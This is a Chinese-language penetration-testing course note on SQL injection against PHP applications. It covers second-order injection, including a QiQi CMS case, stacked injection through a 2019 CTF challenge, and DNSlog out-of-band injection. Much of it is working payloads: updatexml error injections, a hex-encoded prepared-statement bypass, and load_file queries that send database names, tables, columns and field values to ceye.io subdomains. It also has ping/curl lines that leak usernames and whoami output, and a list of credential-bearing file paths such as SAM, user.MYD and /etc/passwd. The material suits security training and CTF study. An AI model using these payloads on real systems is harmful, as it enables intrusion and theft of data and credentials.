第45天:漏洞利用-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件

二次注入

image-20250808145844278

1
2
3
4
黑盒思路:分析功能有添加后对数据操作的地方(功能点)几乎不可能,干扰因素太多
白盒思路:insert后进入select或update的功能的代码块(一般都通过这个方式挖出来)

在前面学习PHP安全开发的时候,自己写了一个登陆页面,当时写的就有一个类似这个二次注入的问题,就是我在登陆和注册的地方都进行了预编译,但是在登陆的时候会进行一个echo输出一个弹窗(欢迎 xxxx 用户登陆),这里没有任何过滤,同时我没有对注册用户的用户名有敏感字符的过滤,只是对注册这个操作的时候有预编译,所以就导致了,攻击者只需要注册一个包含script的语句,就可以在登陆的时候造成一个存储型的xss。但是这个存储型又只能对自己有影响。

demo

image-20250809111147380

首先注册用户,然后在登陆用户,让用户的cookie保存起来,然后再修改密码的时候因为采用的是cookie来判断是哪个用户,所以这里一定要登陆之后,在进行修改密码,才能触发你注册的恶意语句。

1
2
#注册的用户名:
1' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

修改密码的时候就将这条语句代入到数据库中进行查询。然后在进行修改密码。

image-20250809111137286

image-20250809111557853

局限性

1
2
3
4
5
首先实战利用的机会渺茫,需要先找可以注册,或者说可以插入恶意语句的地方,然后还要有其他sql语句对这个恶意的语句进行调用,才有机会进行二次注入

其次还有一种情况,就是我们在做二次注入的时候一般都会对后面的语句进行注释,但是如果对方原原本本将这个数据代入到数据库中进行插入,就会导致数据库根本插入不了,假设有username和password两个字段,在注册username的时候将恶意语句写到username的地方,然后将password字段注释了,那么数据库执行的时候会报错。所以就导致你的注入不成功,所以就像最开始的图片说的需要有一个转义,然后转义之后代入到数据库中又将这个转义符号去掉,才能正常进行注入

不是说没有,只是实战需要花费大量的时间在这个上面不断的测试,性价比不高

骑士CMS-二次注入

image-20250809114741454

1
aa',`fullname`=user()#

image-20250809114703018

注意这个操作,必须在添加的时候进行注入,如果你是添加之后,然后通过修改的话,是完成不了这个操作的

堆叠注入

1
2
3
1.目标脚本代码中存在多语句执行函数(mysqli_multi_query)并对;号不过滤
2.目标数据库类型支不支持多SQL语句执行
支持堆叠数据库:MYSQL MSSQL Postgresql等

就使用php+mysql这种方式进行举例子:

1
用到的mysql执行语句都是下图这种,这样的话执行查询一条语句,也就不存在堆叠注入。所以堆叠注入出现的机会也会很少。

image-20250809115012763

2019强网杯-随便注(CTF题型)

image-20250809115314031

1
1';show databases;

image-20250809115536991

1
1';show tables;

image-20250809115609755

1
2
3
4
1';SeT @a=0x73656c65637420666c61672066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;


// 题目过滤select等关键词,所以将注入语句进行16进制编码注入

image-20250809115817611

image-20250809115727113

DNSlog带外注入

1
2
3
4
5
6
7
8
9
10
11
推荐平台:
http://www.dnslog.cn
http://ceye.io

当然你可以根据开源源码自己搭建dnslog服务器,这里贴上BugScan团队开源源码
https://github.com/BugScanTeam/DNSLog
https://www.freebuf.com/column/184587.html

注入的条件:
1.root高权限且支持load_file()函数(mysql有个secure-file-priv配置会限制load_file函数)
2.windows系统(需要用到\号)为啥payload需要用到四个\\,就是因为数据库转义\

image-20250809121851433

1
2
3
ping %USERNAME%.gfzkn3.ceye.io //%USERNAME%获取本地计算机用户名的

curl http://ip.port.b182oj.ceye.io/`whoami`

这里还有一些常用的payload

image-20250809122309088

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
select load_file(concat('\\\\',(select database()),'.gfzkn3.ceye.io\\aa'));

and (select load_file(concat('//',(select database()),'.gfzkn3.ceye.io/abc')))

// 查询当前数据库
id=1 and load_file(concat("\\\\",database(),".gfzkn3.ceye.io\\asdt"))

//查询其他数据库
//xxx.txt是随便输入的
id=1 and load_file(concat("\\\\",(select schema_name from information_schema.schemata limit 1,1),".gfzkn3.ceye.io\\xxx.txt"))

//查询版本号
id=1 and load_file(concat("\\\\",version(),".gfzkn3.ceye.io\\xxx.txt"))

//查询当前数据库demo01中第一个表名
id=1 and load_file(concat("\\\\",(select table_name from information_schema.tables where table_schema='demo01' limit 0,1 ),".gfzkn3.ceye.io\\xxx.txt"))

//查询security数据库emails表下第一个列名
id=1 and load_file(concat("\\\\",(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),".gfzkn3.ceye.io\\xxx.txt"))

//查询字段值 数据库名为security 表名emails 列名id
id=1 and load_file(concat("\\\\",(select id from security.emails limit 0,1),".gfzkn3.ceye.io\\xxx.txt"))

总结

1
2
3
4
5
6
7
8
9
10
11
12
13
14
这一章讲到的三种注入方式,利用条件都有些苛刻。实战情况下, 判断有注入点,一般直接就是sqlmap了,像二次注入这种sqlmap还跑不出来,二次注入一般都是白盒的方式出来。dnslog的利用方式需要secure-file-priv配置,这个配置,在我的环境里面是默认就没有(也就是默认就是关闭的),所以一般这个也用不上。

#写入文件
A、必须有权限读取并且文件必须完全可读
and (select count(*) from mysql.user)>0如果结果返回正常,说明具有读写权限。
and (select count(*) from mysql.user)>0 返回错误,应该是管理员给数据库账户降权

B、欲读取文件必须在服务器上

C、必须指定文件完整的路径

D、欲读取文件必须小于 max_allowed_packet

如果该文件不存在,或因为上面的任一条件而不能被读取,函数返回空,比较难满足的就是权限,在windows下,如果NTFS设置得当,是不能读取相关的文件的,当遇到只有administrator才能访问的文件,user就别想load_file出来

附录-常用文件路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
WINDOWS下:
c:/boot.ini //查看系统版本

c:/windows/php.ini //php配置信息

c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码

c:/winnt/php.ini

c:/winnt/my.ini

c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码

c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码

c:\Program Files\Serv-U\ServUDaemon.ini

c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置

c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码

c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此

c:\Program Files\RhinoSoft.com\ServUDaemon.exe

C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件

//存储了pcAnywhere的登陆密码

c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件

c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.

c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机

d:\APACHE\Apache2\conf\httpd.conf

C:\Program Files\mysql\my.ini

C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件

/usr/local/apache2/conf/httpd.conf

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/usr/local/app/php5/lib/php.ini //PHP相关设置

/etc/sysconfig/iptables //从中得到防火墙规则策略

/etc/httpd/conf/httpd.conf // apache配置文件

/etc/rsyncd.conf //同步程序配置文件

/etc/my.cnf //mysql的配置文件

/etc/redhat-release //系统版本

/etc/issue

/etc/issue.net

/usr/local/app/php5/lib/php.ini //PHP相关设置

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件

/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看

/usr/local/resin-pro-3.0.22/conf/resin.conf 同上

/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看

/etc/sysconfig/iptables 查看防火墙策略

load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录

replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))